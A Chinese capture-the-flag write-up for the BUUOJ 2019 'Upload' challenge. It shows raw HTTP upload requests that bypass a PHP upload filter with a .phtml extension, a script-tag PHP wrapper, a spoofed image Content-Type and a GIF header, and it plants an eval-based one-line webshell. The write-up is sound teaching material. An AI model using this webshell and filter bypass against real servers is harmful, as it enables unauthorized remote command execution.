题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]Upload。
打开环境,如下所示。
通过页面源代码可以发现,该网站系 PHP 架构,因此尝试直接上传一句话木马。
发现提示 "NOT!php!",因此尝试 fuzzing 一下后缀名。
发现网站可以通过了 "phtml" 的后缀名,但是提示文件内容存在字符串 "<?",因此改变文件内容,以其他的形式引入 PHP 代码。
请求包如下。
POST /upload_file.php HTTP/1.1
Host: c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Length: 334
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDI5yLUuOF9usOKnq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="file"; filename="php.phtml"
Content-Type: image/jpeg
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryDI5yLUuOF9usOKnq--
发现网站又提示 "Don't lie to me, it's not image at all!!!",而网站检测一个文件是否为图片的方式有许多种,如:
- Content-Type。
- 文件幻数。
- 文件后缀。
- ...。
这里将 GIF 文件的幻数添加入上传的文件的头部,尝试再次上传,请求包如下。
POST /upload_file.php HTTP/1.1
Host: c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Length: 341
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDI5yLUuOF9usOKnq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="file"; filename="php.phtml"
Content-Type: image/jpeg
GIF98
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryDI5yLUuOF9usOKnq--
发现成功上传。
因此直接使用 AntSword 连接一句话木马即可获得 WebShell(注意,成功上传的文件放置在 /upload 文件夹下)。
标签:极客,cn,image,Upload,buuoj,Content,c2ae,WebKitFormBoundaryDI5yLUuOF9usOKnq,2019 From: https://www.cnblogs.com/imtaieee/p/18522680